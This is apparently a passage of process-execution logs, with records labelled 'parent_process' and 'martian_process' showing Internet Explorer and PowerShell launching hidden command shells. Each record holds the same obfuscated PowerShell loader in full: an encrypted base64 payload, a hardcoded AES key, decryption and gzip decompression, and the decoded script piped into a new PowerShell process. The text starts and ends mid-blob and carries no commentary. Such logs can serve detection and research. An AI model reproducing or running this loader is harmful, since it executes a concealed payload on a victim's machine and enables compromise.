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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }
parent_process iexplore.exe martian_process powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }
parent_process powershell.exe martian_process C:\Windows\System32\cmd.exe /c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell -
parent_process powershell.exe martian_process "C:\Windows\system32\cmd.exe" /c powershell.exe $CkSLmk = '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